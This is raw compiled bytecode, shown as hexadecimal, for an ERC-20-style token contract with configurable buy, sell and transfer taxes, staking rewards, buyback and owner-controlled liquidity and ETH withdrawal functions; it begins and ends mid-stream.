78063a9059cbb14610ad2578063aa761b1e14610af257600080fd5b80638c85bd6f116102035780638c85bd6f14610a025780638da5cb5b146109e457806395d89b4114610a17578063a1c47e7014610a46578063a253c06e14610a6657600080fd5b80637e94313b1461098f5780637f3b7f4c146109af57806387c61789146109cf578063893d20e8146109e457600080fd5b80632aea52ab1161034557806349a76042116102cd5780636f89e409116102915780636f89e409146108e557806370a082311461090f5780637115d00e14610945578063715018a61461095a5780637335307b1461096f57600080fd5b806349a76042146108595780634a4a9a68146108795780634d3e3e821461088f5780634f91e48c146108af5780636e548f9f146108c557600080fd5b8063395093511161031457806339509351146107e25780633b456f2f146108025780633cc39b7a146108185780633eaaf86b1461082e5780634089b1701461084357600080fd5b80632aea52ab1461076b5780632ba4b81c1461078b5780632cd3fd70146107a0578063313ce567146107c057600080fd5b80631d5165cf116103d35780632316b7e0116103975780632316b7e01461066757806323b872dd1461067d5780632598cdb21461069d57806328771ca2146106bd5780632973ef2d146106d257600080fd5b80631d5165cf146105a15780631f58e96f146105c157806321e622aa146105e1578063224f7e5a1461061957806322d57ea31461063957600080fd5b80630e15561a1161041a5780630e15561a1461051357806310f3e6761461053757806316008eb01461054c57806318160ddd1461056c5780631c6a5df91461058157600080fd5b806303c1f2f11461045757806306fdde0314610479578063095ea7b3146104c35780630a79f2a4146104f357600080fd5b3661045257005b600080fd5b34801561046357600080fd5b506104776104723660046149ac565b610de1565b005b34801561048557600080fd5b5060408051808201909152600f81526e1194915052d25391c8135153951053608a1b60208201525b6040516104ba9190614a54565b60405180910390f35b3480156104cf57600080fd5b506104e36104de366004614abe565b611138565b60405190151581526020016104ba565b3480156104ff57600080fd5b5061047761050e366004614aea565b61114f565b34801561051f57600080fd5b50610529601d5481565b6040519081526020016104ba565b34801561054357600080fd5b506104776113d2565b34801561055857600080fd5b50610477610567366004614b03565b61148f565b34801561057857600080fd5b50600854610529565b34801561058d57600080fd5b5061047761059c366004614b40565b61154c565b3480156105ad57600080fd5b506104776105bc366004614b03565b61157f565b3480156105cd57600080fd5b506104776105dc366004614aea565b611634565b3480156105ed57600080fd5b50601454610601906001600160a01b031681565b6040516001600160a01b0390911681526020016104ba565b34801561062557600080fd5b50610477610634366004614b03565b6116b6565b34801561064557600080fd5b506022546106549061ffff1681565b60405161ffff90911681526020016104ba565b34801561067357600080fd5b5061052960125481565b34801561068957600080fd5b506104e3610698366004614b77565b611720565b3480156106a957600080fd5b50600c54610601906001600160a01b031681565b3480156106c957600080fd5b506105296117b7565b3480156106de57600080fd5b506009546040805160ff61010080850482168352600160281b850482166020840152818516938301939093526201000084048116606083015263010000008404811660808301526401000000008404811660a083015266010000000000008404811660c0830152600160381b8404811660e0830152600160401b90930490921690820152610120016104ba565b34801561077757600080fd5b50610477610786366004614bb8565b6117dc565b34801561079757600080fd5b50610529600281565b3480156107ac57600080fd5b506104776107bb366004614aea565b611842565b3480156107cc57600080fd5b5060095b60405160ff90911681526020016104ba565b3480156107ee57600080fd5b506104e36107fd366004614abe565b611994565b34801561080e57600080fd5b5061052960215481565b34801561082457600080fd5b5061052960275481565b34801561083a57600080fd5b506105296119cb565b34801561084f57600080fd5b50610529601e5481565b34801561086557600080fd5b50610477610874366004614b03565b6119e8565b34801561088557600080fd5b50610529600a5481565b34801561089b57600080fd5b506104776108aa366004614b03565b611a52565b3480156108bb57600080fd5b50610529600b5481565b3480156108d157600080fd5b506104776108e0366004614bd5565b611be3565b3480156108f157600080fd5b506108fa611ce9565b604080519283526020830191909152016104ba565b34801561091b57600080fd5b5061052961092a366004614b03565b6001600160a01b031660009081526001602052604090205490565b34801561095157600080fd5b50610477611d11565b34801561096657600080fd5b50610477611e56565b34801561097b57600080fd5b506104e361098a366004614b03565b611ed9565b34801561099b57600080fd5b506104776109aa366004614b03565b611ee6565b3480156109bb57600080fd5b506105296109ca366004614b03565b612045565b3480156109db57600080fd5b5061047761205a565b3480156109f057600080fd5b506000546001600160a01b0316610601565b348015610a0e57600080fd5b50610477612126565b348015610a2357600080fd5b5060408051808201909152600681526513515395105360d21b60208201526104ad565b348015610a5257600080fd5b50610529610a61366004614b03565b612344565b348015610a7257600080fd5b5061052960085481565b348015610a8857600080fd5b506104e3610a97366004614abe565b612352565b348015610aa857600080fd5b5061052960115481565b348015610abe57600080fd5b50610477610acd366004614bb8565b6123ce565b348015610ade57600080fd5b506104e3610aed366004614abe565b612411565b348015610afe57600080fd5b5061047761241e565b348015610b1357600080fd5b50610477610b22366004614c08565b6124c0565b348015610b3357600080fd5b50601354610601906001600160a01b031681565b348015610b5357600080fd5b50610477610b62366004614b03565b6125dc565b348015610b7357600080fd5b50610477612663565b348015610b8857600080fd5b506010546104e39060ff1681565b348015610ba257600080fd5b50610477610bb1366004614c23565b61271a565b348015610bc257600080fd5b50610529600f5481565b348015610bd857600080fd5b50600e54610601906001600160a01b031681565b348015610bf857600080fd5b50610477610c07366004614aea565b612895565b348015610c1857600080fd5b50610477610c27366004614aea565b6128fa565b348015610c3857600080fd5b50610477610c47366004614c45565b61295f565b348015610c5857600080fd5b506104776129f9565b348015610c6d57600080fd5b50610529612a12565b348015610c8257600080fd5b50610477610c91366004614b03565b612a3b565b348015610ca257600080fd5b50610477610cb1366004614b03565b612a77565b348015610cc257600080fd5b5061052960205481565b348015610cd857600080fd5b506010546104e390610100900460ff1681565b348015610cf757600080fd5b50610529610d06366004614ccb565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b348015610d3d57600080fd5b506107d0600c81565b348015610d5257600080fd5b50610477612b93565b348015610d6757600080fd5b50601754610601906001600160a01b031681565b348015610d8757600080fd5b50610477610d96366004614b03565b612bde565b348015610da757600080fd5b506104e3610db6366004614b03565b60036020526000908152604090205460ff1681565b348015610dd757600080fd5b50610529601f5481565b610dea33612d0e565b610e0f5760405162461bcd60e51b8152600401610e0690614cf9565b60405180910390fd5b600087898b89610e1f898b614d3e565b610e299190614d3e565b610e339190614d3e565b610e3d9190614d3e565b610e479190614d3e565b90508060ff16606414610eaf5760405162461bcd60e51b815260206004820152602a60248201527f6d61726b6574696e672b6c69712b7374616b696e67206e6565647320746f206560448201526938bab0b610189818129760b11b6064820152608401610e06565b600c8460ff161115610f035760405162461bcd60e51b815260206004820152601e60248201527f42757974617820697320686967686572207468616e20746865203132252e00006044820152606401610e06565b600c60ff84161115610f575760405162461bcd60e51b815260206004820152601b60248201527f53656c6c74617820697320686967686572207468616e203132252e00000000006044820152606401610e06565b600c8260ff161115610fab5760405162461bcd60e51b815260206004820152601f60248201527f5472616e7366657254617820697320686967686572207468616e203132252e006044820152606401610e06565b89600960016101000a81548160ff021916908360ff16021790555088600960056101000a81548160ff021916908360ff16021790555087600960006101000a81548160ff021916908360ff16021790555086600960026101000a81548160ff021916908360ff16021790555085600960036101000a81548160ff021916908360ff16021790555084600960046101000a81548160ff021916908360ff16021790555083600960066101000a81548160ff021916908360ff16021790555082600960076101000a81548160ff021916908360ff16021790555081600960086101000a81548160ff021916908360ff1602179055507f4ef486dbd29fe140a2c720bfc74d470a38d5f811acb5a32a67207ac2f84324de8a8a8a8a8a8a8a8a8a6040516111249998979695949392919060ff998a1681529789166020890152958816604088015293871660608701529186166080860152851660a0850152841660c0840152831660e08301529091166101008201526101200190565b60405180910390a150505050505050505050565b6000611145338484612d53565b5060015b92915050565b61115833612d0e565b6111745760405162461bcd60e51b8152600401610e0690614cf9565b6021548111156111c65760405162461bcd60e51b815260206004820152601e60248201527f416d6f756e742065786365656473204275794261636b42616c616e63652100006044820152606401610e06565b80602160008282546111d89190614d63565b9091555050306000908152600160205260408082205481516002808252606082019093529092918160200160208202803683375050601654604080516315ab88c960e31b815290519394506001600160a01b039091169263ad5c4648925060048083019260209291908290030181865afa15801561125a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061127e9190614d7a565b8160008151811061129157611291614d97565b60200260200101906001600160a01b031690816001600160a01b03168152505030816001815181106112c5576112c5614d97565b6001600160a01b039283166020918202929092010152601654600e5460405163b6f9de9560e01b81529183169263b6f9de95928792611311926000928892909116904290600401614df1565b6000604051808303818588803b15801561132a57600080fd5b505af115801561133e573d6000803e3d6000fd5b5050306000908152600160205260408120549093506113609250859150614d63565b905080600860008282546113749190614d63565b9250508190555080600f600082825461138d9190614e26565b909155505060408051858152602081018390527f4e57162cf2059954fd33f1ecaaf1832e379957714070ad171bc5382b18c98d3c91015b60405180910390a150505050565b601660009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611425573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114499190614d7a565b6014546001600160a01b039081169116141561147657611474333361146f336000612e46565b612f02565b565b6014546114749033906001600160a01b0316600061307b565b336114a26000546001600160a01b031690565b6001600160a01b0316146114c85760405162461bcd60e51b8152600401610e0690614e3e565b600d546001600160a01b03166114df60048261341e565b50600d80546001600160a01b0319166001600160a01b03841690811790915561150a90600490612cd7565b506040516001600160a01b03831681527fe4e7b52fa2b5d9f5adcf88301c07e09b32a37d8c492d7f266cb16648d0b12818906020015b60405180910390a15050565b61155533612d0e565b6115715760405162461bcd60e51b8152600401610e0690614cf9565b61157b8282613433565b5050565b336115926000546001600160a01b031690565b6001600160a01b0316146115b85760405162461bcd60e51b8152600401610e0690614e3e565b600c546001600160a01b03166115cf60048261341e565b50600c80546001600160a01b0319166001600160a01b0384169081179091556115fa90600490612cd7565b506040516001600160a01b03831681527f335aad0eda24dacfa324b3d651daa091864338cf7d4af9d5087ba1c5ee1174f090602001611540565b336116476000546001600160a01b031690565b6001600160a01b03161461166d5760405162461bcd60e51b8152600401610e0690614e3e565b61167f61167a4283614e26565b61365c565b6040518181527fe9da15d4cb5bea133d9613a866c909df5594489b91a3f780d43720d560b3c94c906020015b60405180910390a150565b6116bf33612d0e565b6116db5760405162461bcd60e51b8152600401610e0690614cf9565b6116e660048261341e565b506040516001600160a01b03821681527ff56dcc090ef3820920e9ab4296cecb51090a1cde94dd5e81bdd775bfb66fdf44906020016116ab565b600061172d84848461366f565b6001600160a01b0384166000908152600260209081526040808320338452909152902054828110156117985760405162461bcd60e51b81526020600482015260146024820152735472616e73666572203e20616c6c6f77616e636560601b6044820152606401610e06565b6117ac85336117a78685614d63565b612d53565b506001949350505050565b60006018544210156117d657426018546117d19190614d63565b905090565b50600090565b6117e533612d0e565b6118015760405162461bcd60e51b8152600401610e0690614cf9565b6010805460ff19168215159081179091556040519081527f822b6eca0677bdb1250cf1e8b40dbd32dac3990c5fa49d3ba96445a4d0e5c34e906020016116ab565b60006118506009600a614f57565b61185a9083614f66565b33600090815260016020526040902054909150818110156118c75760405162461bcd60e51b815260206004820152602160248201527f4275726e20616d6f756e7420657863656564207573657227732062616c616e636044820152606560f81b6064820152608401610e06565b6118d13383613871565b600e546118e7906001600160a01b0316836139b0565b81600860008282546118f99190614d63565b9250508190555081600f60008282546119129190614e26565b9091555050600e546040518381526001600160a01b039091169033907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a36040518281527f7a11ab183136f32a768cf22a579666d9f13131efe1c89cb0c02b60a2caa65b86906020015b60405180910390a1505050565b3360008181526002602090815260408083206001600160a01b038716845290915281205490916111459185906117a7908690614e26565b6119d76009600a614f57565b6119e590633b9aca00614f66565b81565b6119f133612d0e565b611a0d5760405162461bcd60e51b8152600401610e0690614cf9565b611a18600482612cd7565b506040516001600160a01b03821681527fc43ac1ed89a6611862c89bd827657f1406e2a407bc2be9eaa4844539d0b583ed906020016116ab565b611a5b33612d0e565b611a775760405162461bcd60e51b8152600401610e0690614cf9565b611a8081611ed9565b15611a8a57600080fd5b6001600160a01b038116600090815260016020526040812054601a805491929091611ab6908490614d63565b9091555060009050611ac9826001613b07565b90506000611ad8836000613b07565b601b546001600160a01b038516600090815260016020526040902054919250611b0091614f66565b6001600160a01b038416600090815260236020908152604080832093909355601c54600190915291902054611b359190614f66565b6001600160a01b038416600090815260256020908152604080832093909355602490529081208054849290611b6b908490614e26565b90915550506001600160a01b03831660009081526026602052604081208054839290611b98908490614e26565b90915550611ba99050600684612cd7565b506040516001600160a01b03841681527ffdad6ad6d20feb1cf5414d7191f09faf279ff860ba2b44076b7d95575fd9bfc790602001611987565b611bec33612d0e565b611c085760405162461bcd60e51b8152600401610e0690614cf9565b6000611c148284614d3e565b90508060ff16606414611c795760405162461bcd60e51b815260206004820152602760248201527f4d61696e53706c69742b4d69736353706c6974206e6565647320746f20657175604482015266616c203130302560c81b6064820152608401610e06565b600980546affff0000000000000000001916600160481b60ff86811691820260ff60501b191692909217600160501b928616928302179092556040805192835260208301919091527f33a86622eaf7c132906cc317e59b8f26132029845aedc7ab4c37588f7674328c9101611987565b600080600a8054611cfa9190614f85565b600a600b54611d099190614f85565b915091509091565b33611d246000546001600160a01b031690565b6001600160a01b031614611d4a5760405162461bcd60e51b8152600401610e0690614e3e565b601854421015611d6c5760405162461bcd60e51b8152600401610e0690614fa7565b6015546040516370a0823160e01b81523060048201526001600160a01b039091169060009082906370a0823190602401602060405180830381865afa158015611db9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611ddd9190614fd1565b60405163a9059cbb60e01b8152336004820152602481018290529091506001600160a01b0383169063a9059cbb906044016020604051808303816000875af1158015611e2d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611e519190614fea565b505050565b33611e696000546001600160a01b031690565b6001600160a01b031614611e8f5760405162461bcd60e51b8152600401610e0690614e3e565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000611149600683612cec565b33611ef96000546001600160a01b031690565b6001600160a01b031614611f1f5760405162461bcd60e51b8152600401610e0690614e3e565b601660009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611f72573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611f969190614d7a565b6001600160a01b0316816001600160a01b03161415611ff75760405162461bcd60e51b815260206004820152601760248201527f6e65775265776172642063616e6e6f74206265204554480000000000000000006044820152606401610e06565b601380546001600160a01b0319166001600160a01b0383169081179091556040519081527f558f3c3477828b8e86122711346c105a44baef33665f9ad57bd344db08d865d2906020016116ab565b600080612053836000612e46565b9392505050565b61206333612d0e565b61207f5760405162461bcd60e51b8152600401610e0690614cf9565b60208054600091829055600d546040519192916001600160a01b039091169083905b60006040518083038185875af1925050503d80600081146120de576040519150601f19603f3d011682016040523d82523d6000602084013e6120e3565b606091505b505090508061157b5760405162461bcd60e51b815260206004820152600f60248201526e1dda5d1a191c985dc819985a5b1959608a1b6044820152606401610e06565b336121396000546001600160a01b031690565b6001600160a01b03161461215f5760405162461bcd60e51b8152600401610e0690614e3e565b6018544210156121815760405162461bcd60e51b8152600401610e0690614fa7565b426018556015546040516370a0823160e01b81523060048201526001600160a01b039091169060009082906370a0823190602401602060405180830381865afa1580156121d2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906121f69190614fd1565b60165460405163095ea7b360e01b81526001600160a01b0391821660048201526024810183905291925083169063095ea7b3906044016020604051808303816000875af115801561224b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061226f9190614fea565b5060165460405163af2979eb60e01b81526001600160a01b039091169063af2979eb906122ab9030908590600090819084904290600401615007565b6020604051808303816000875af11580156122ca573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906122ee9190614fd1565b50604051600090339047908381818185875af1925050503d8060008114612331576040519150601f19603f3d011682016040523d82523d6000602084013e612336565b606091505b5050905080611e5157600080fd5b600080612053836001612e46565b3360009081526002602090815260408083206001600160a01b0386168452909152812054828110156123b55760405162461bcd60e51b815260206004820152600c60248201526b3c3020616c6c6f77616e636560a01b6044820152606401610e06565b6123c433856117a78685614d63565b5060019392505050565b6123d733612d0e565b6123f35760405162461bcd60e51b8152600401610e0690614cf9565b60288054911515600160a81b0260ff60a81b19909216919091179055565b600061114533848461366f565b61242733611ed9565b61243057600080fd5b33600090815260016020526040812054601a805491929091612453908490614e26565b90915550612464905060063361341e565b50601b54336000908152600160205260409020546124829190614f66565b33600090815260236020908152604080832093909355601c546001909152919020546124ae9190614f66565b33600090815260256020526040902055565b6124c933612d0e565b6124e55760405162461bcd60e51b8152600401610e0690614cf9565b60008161ffff16116125435760405162461bcd60e51b815260206004820152602160248201527f5468726573686f6c64206e6565647320746f206265206d6f7265207468616e206044820152600360fc1b6064820152608401610e06565b60328161ffff1611156125985760405162461bcd60e51b815260206004820152601e60248201527f5468726573686f6c64206e6565647320746f2062652062656c6f7720353000006044820152606401610e06565b6022805461ffff191661ffff83169081179091556040519081527f4bc724ded866266de2e4fcb24ff0604579001c86a5eb4d9ccb6304ce53257f57906020016116ab565b336125ef6000546001600160a01b031690565b6001600160a01b0316146126155760405162461bcd60e51b8152600401610e0690614e3e565b601480546001600160a01b0319166001600160a01b0383169081179091556040519081527fe173af45b6a0420431a53334d1617eae12ac3a72a5044de477592a5c72e7e815906020016116ab565b336126766000546001600160a01b031690565b6001600160a01b03161461269c5760405162461bcd60e51b8152600401610e0690614e3e565b6018544210156126be5760405162461bcd60e51b8152600401610e0690614fa7565b42601855604051600090339047908381818185875af1925050503d8060008114612704576040519150601f19603f3d011682016040523d82523d6000602084013e612709565b606091505b505090508061271757600080fd5b50565b61272333612d0e565b61273f5760405162461bcd60e51b8152600401610e0690614cf9565b6000602861274f6009600a614f57565b61275d90633b9aca00614f66565b6127679190614f85565b9050600060326127796009600a614f57565b61278790633b9aca00614f66565b6127919190614f85565b9050818410156127f45760405162461bcd60e51b815260206004820152602860248201527f6e65774d617857616c6c6574206e6565647320746f206265206174206c6561736044820152671d081d185c99d95d60c21b6064820152608401610e06565b808310156128555760405162461bcd60e51b815260206004820152602860248201527f6e657753656c6c4c696d6974206e6565647320746f206265206174206c6561736044820152671d081d185c99d95d60c21b6064820152608401610e06565b600a849055600b83905560408051858152602081018590527f5912df26a1b0605572860e6b304fb802d17b80e06c29fd87a95ce4867318226191016113c4565b61289e33612d0e565b6128ba5760405162461bcd60e51b8152600401610e0690614cf9565b6020548111156128c957600080fd5b80602060008282546128db9190614d63565b9091555050600d546040516000916001600160a01b03169083906120a1565b61290333612d0e565b61291f5760405162461bcd60e51b8152600401610e0690614cf9565b601f5481111561292e57600080fd5b80601f60008282546129409190614d63565b9091555050600c546040516000916001600160a01b03169083906120a1565b61296833612d0e565b6129845760405162461bcd60e51b8152600401610e0690614cf9565b60005b828110156129f35781600360008686858181106129a6576129a6614d97565b90506020020160208101906129bb9190614b03565b6001600160a01b031681526020810191909152604001600020805460ff19169115159190911790556129ec81615042565b9050612987565b50505050565b6013546114749033906001600160a01b0316600061307b565b6000612a206009600a614f57565b612a2e90633b9aca00614f66565b601a546117d19190614d63565b612a4433612d0e565b612a605760405162461bcd60e51b8152600401610e0690614cf9565b612a6b600482612cd7565b5061157b600682612cd7565b612a8033612d0e565b612a9c5760405162461bcd60e51b8152600401610e0690614cf9565b612aa581611ed9565b612aae57600080fd5b6001600160a01b038116600090815260016020526040812054601a805491929091612ada908490614e26565b90915550612aeb905060068261341e565b50601b546001600160a01b038216600090815260016020526040902054612b129190614f66565b6001600160a01b038216600090815260236020908152604080832093909355601c54600190915291902054612b479190614f66565b6001600160a01b03821660008181526025602090815260409182902093909355519081527f17c68ddb608396ddd017365c5b7ad57c242ccfa5034cbe40d699f2a93087735191016116ab565b612b9c33612d0e565b612bb85760405162461bcd60e51b8152600401610e0690614cf9565b601f8054600091829055600c546040519192916001600160a01b039091169083906120a1565b33612bf16000546001600160a01b031690565b6001600160a01b031614612c175760405162461bcd60e51b8152600401610e0690614e3e565b6001600160a01b038116612c7c5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610e06565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6000612053836001600160a01b038416613c19565b6001600160a01b03811660009081526001830160205260408120541515612053565b600080546001600160a01b0383811691161480612d385750600c546001600160a01b038381169116145b80611149575050600d546001600160a01b0390811691161490565b6001600160a01b038316612d9d5760405162461bcd60e51b8152602060048201526011602482015270417070726f76652066726f6d207a65726f60781b6044820152606401610e06565b6001600160a01b038216612de55760405162461bcd60e51b815260206004820152600f60248201526e417070726f766520746f207a65726f60881b6044820152606401610e06565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60008115612eb057612e5783611ed9565b15612e7b57506001600160a01b038216600090815260246020526040902054611149565b6001600160a01b038316600090815260246020526040902054612e9f846001613b07565b612ea99190614e26565b9050611149565b612eb983611ed9565b15612edd57506001600160a01b038216600090815260266020526040902054611149565b6001600160a01b03831660009081526026602052604081205490612e9f908590613b07565b60195460ff1615612f1257600080fd5b80612f445760405162461bcd60e51b815260206004820152600260248201526103d360f41b6044820152606401610e06565b6019805460ff191660011790556028546001600160a01b03838116610100909204161415612f7157612f93565b612f7b8382613c68565b80601e6000828254612f8d9190614e26565b90915550505b6000826001600160a01b03168260405160006040518083038185875af1925050503d8060008114612fe0576040519150601f19603f3d011682016040523d82523d6000602084013e612fe5565b606091505b50509050806130285760405162461bcd60e51b815260206004820152600f60248201526e1dda5d1a191c985dc819985a5b1959608a1b6044820152606401610e06565b506019805460ff19169055604080516001600160a01b038086168252841660208201529081018290527f67ca17bb98cd1e9f9b78c76b6cc3ebab128509ea34ad88625cacc41df372967c90606001611987565b60195460ff161561308b57600080fd5b6019805460ff1916600117905560006130a384611ed9565b15613104576013546001600160a01b03848116911614156130e157506001600160a01b03831660009081526024602052604081208054919055613223565b506001600160a01b03831660009081526026602052604081208054919055613223565b6013546001600160a01b03848116911614156131a1576000613127856001613b07565b6001600160a01b038616600090815260016020526040902054601b5491925061314f91614f66565b6001600160a01b03861660009081526023602090815260408083209390935560249052205461317f908290614e26565b6001600160a01b03861660009081526024602052604081205591506132239050565b60006131ae856000613b07565b6001600160a01b038616600090815260016020526040902054601c549192506131d691614f66565b6001600160a01b038616600090815260256020908152604080832093909355602690522054613206908290614e26565b6001600160a01b0386166000908152602660205260408120559150505b8015801561322f575081155b156132445750506019805460ff191690555050565b80601e60008282546132569190614e26565b9091555061326690508282614e26565b60408051600280825260608201835292935060009290916020830190803683375050601654604080516315ab88c960e31b815290519394506001600160a01b039091169263ad5c4648925060048083019260209291908290030181865afa1580156132d5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906132f99190614d7a565b8160008151811061330c5761330c614d97565b60200260200101906001600160a01b031690816001600160a01b031681525050838160018151811061334057613340614d97565b6001600160a01b03928316602091820292909201015260165460405163b6f9de9560e01b815291169063b6f9de959084906133869060009086908b904290600401614df1565b6000604051808303818588803b15801561339f57600080fd5b505af11580156133b3573d6000803e3d6000fd5b50505050507f2ffc7392cfc852563f87a930acb52ee96fbd5607bd8476d3bf3b9c59340854e0828587604051613405939291909283526001600160a01b03918216602084015216604082015260600190565b60405180910390a150506019805460ff19169055505050565b6000612053836001600160a01b038416613da3565b6028805460ff191660011790556101f461ffff8316111561345357600080fd5b3060009081526001602052604081205460095490919060ff600160281b82048116918181169162010000820481169161349e9164010000000082048116916301000000900416614d3e565b6134a89190614d3e565b6134b29190614d3e565b6134bc9190614d3e565b60ff169050806134cd57505061364e565b6015546001600160a01b03166000908152600160205260408120546103e8906134fb9061ffff881690614f66565b6135059190614f85565b9050600b5481118015613516575083155b156135205750600b545b808310801561354057841561353757839150613540565b5050505061364e565b60095460009061ffff851690613560906301000000900460ff1685614f66565b61356a9190614f85565b905060006135788285614d63565b90506000613587600284614f85565b905060006135958285614d63565b905060006135a38483614e26565b9050476135af82613e90565b60006135bb8247614d63565b90506000836135ca8684614f66565b6135d49190614f85565b90506135e08682613fe9565b735f000c43a1f92a30b47e9a77995849dc1f28bf6c6000600a6136038647614d63565b61360d9190614f85565b905060008161361c8747614d63565b6136269190614d63565b905061363381600161409f565b61363e838484612f02565b5050505050505050505050505050505b50506028805460ff19169055565b601854811161366a57600080fd5b601855565b6001600160a01b0383166136ba5760405162461bcd60e51b81526020600482015260126024820152715472616e736665722066726f6d207a65726f60701b6044820152606401610e06565b6001600160a01b0382166137035760405162461bcd60e51b815260206004820152601060248201526f5472616e7366657220746f207a65726f60801b6044820152606401610e06565b6000613710600485612cec565b806137215750613721600484612cec565b905060006001600160a01b03851630148061374457506001600160a01b03841630145b6016546015549192506001600160a01b0390811691600091888116911614801561377f5750816001600160a01b0316866001600160a01b0316145b806137b357506015546001600160a01b0387811691161480156137b35750816001600160a01b0316876001600160a01b0316145b6015549091506000906001600160a01b03888116911614806137e65750826001600160a01b0316876001600160a01b0316145b6015549091506000906001600160a01b038a8116911614806138195750836001600160a01b0316896001600160a01b0316145b905084806138245750825b8061382c5750855b156138595761383c8989896142e2565b601054610100900460ff1661385457613854886143f4565b613866565b6138668989898486614478565b505050505050505050565b6001600160a01b038216600090815260016020526040812054613895908390614d63565b90506138a083611ed9565b156138c5576001600160a01b0390921660009081526001602052604090209190915550565b81601a60008282546138d79190614d63565b90915550600090506138ea846001613b07565b905060006138f9856000613b07565b6001600160a01b0386166000908152600160205260409020849055601b54909150613925908490614f66565b6001600160a01b03861660009081526023602090815260408083209390935560249052908120805484929061395b908490614e26565b9091555050601c5461396e908490614f66565b6001600160a01b0386166000908152602560209081526040808320939093556026905290812080548392906139a4908490614e26565b90915550505050505050565b6001600160a01b0382166000908152600160205260408120546139d4908390614e26565b90506139df83611ed9565b15613a04576001600160a01b0390921660009081526001602052604090209190915550565b81601a6000828254613a169190614e26565b9091555060009050613a29846001613b07565b90506000613a38856000613b07565b6001600160a01b0386166000908152600160205260409020849055601b54909150613a64908490614f66565b6001600160a01b038616600090815260236020908152604080832093909355602490529081208054849290613a9a908490614e26565b9091555050601c54613aad908490614f66565b6001600160a01b038616600090815260256020908152604080832093909355602690529081208054839290613ae3908490614e26565b9091555050506001600160a01b039093166000908152600160205260409020555050565b60008115613b9d576001600160a01b038316600090815260016020526040812054601b54613b359190614f66565b6001600160a01b038516600090815260236020526040902054909150811015613b62576000915050611149565b6001600160a01b038416600090815260236020526040902054600160401b90613b8b9083614d63565b613b959190614f85565b915050611149565b6001600160a01b038316600090815260016020526040812054601c54613bc39190614f66565b6001600160a01b038516600090815260256020526040902054909150811015613bf0576000915050611149565b6001600160a01b038416600090815260256020526040902054600160401b90613b8b9083614d63565b6000818152600183016020526040812054613c6057508154600181810184556000848152602080822090930184905584548482528286019093526040902091909155611149565b506000611149565b80613c71575050565b613c7c826000612e46565b811115613cbe5760405162461bcd60e51b815260206004820152601060248201526f195e18d959591cc8191a5d9a59195b9d60821b6044820152606401610e06565b613cc9600683612cec565b15613d01576001600160a01b03821660009081526026602052604081208054839290613cf6908490614d63565b9091555061157b9050565b6000613d0e836000613b07565b6001600160a01b038416600090815260016020526040902054601c54919250613d3691614f66565b6001600160a01b038416600090815260256020908152604080832093909355602690529081208054839290613d6c908490614e26565b90915550506001600160a01b03831660009081526026602052604081208054849290613d99908490614d63565b9091555050505050565b60008181526001830160205260408120548015613e86576000613dc7600183614d63565b8554909150600090613ddb90600190614d63565b90506000866000018281548110613df457613df4614d97565b9060005260206000200154905080876000018481548110613e1757613e17614d97565b600091825260208083209091019290925582815260018901909152604090208490558654879080613e4a57613e4a61505d565b60019003818190600052602060002001600090559055866001016000878152602001908152602001600020600090556001945050505050611149565b6000915050611149565b601654613ea89030906001600160a01b031683612d53565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110613edd57613edd614d97565b6001600160a01b03928316602091820292909201810191909152601654604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015613f36573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190613f5a9190614d7a565b81600181518110613f6d57613f6d614d97565b6001600160a01b03928316602091820292909201015260165460405163791ac94760e01b815291169063791ac94790613fb3908590600090869030904290600401615073565b600060405180830381600087803b158015613fcd57600080fd5b505af1158015613fe1573d6000803e3d6000fd5b505050505050565b8060276000828254613ffb9190614e26565b90915550506016546140189030906001600160a01b031684612d53565b60165460405163f305d71960e01b81526001600160a01b039091169063f305d7199083906140559030908790600090819084904290600401615007565b60606040518083038185885af1158015614073573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061409891906150af565b5050505050565b60095460009060ff6401000000008204811691600160281b81048216916140d191818116916201000090910416614d3e565b6140db9190614d3e565b6140e59190614d3e565b60095460ff9182169250600091839161410691620100009091041686614f66565b6141109190614f85565b60095490915060009083906141289060ff1687614f66565b6141329190614f85565b600954909150600090849061415190600160281b900460ff1688614f66565b61415b9190614f85565b600954909150600090859061417b90640100000000900460ff1689614f66565b6141859190614f85565b6009549091506000906064906141a590600160481b900460ff1684614f66565b6141af9190614f85565b6009549091506000906064906141cf90600160501b900460ff1685614f66565b6141d99190614f85565b905085601f60008282546141ed9190614e26565b9250508190555084602060008282546142069190614e26565b92505081905550836021600082825461421f9190614e26565b909155505082156138665787156142485782601d60008282546142429190614e26565b90915550505b6000614252612a12565b9050806142765783601f600082825461426b9190614e26565b909155506142d69050565b80614285600160401b85614f66565b61428f9190614f85565b601b60008282546142a09190614e26565b909155508190506142b5600160401b84614f66565b6142bf9190614f85565b601c60008282546142d09190614e26565b90915550505b50505050505050505050565b6001600160a01b038316600090815260016020526040902054818110156143465760405162461bcd60e51b81526020600482015260186024820152775472616e7366657220657863656564732062616c616e6365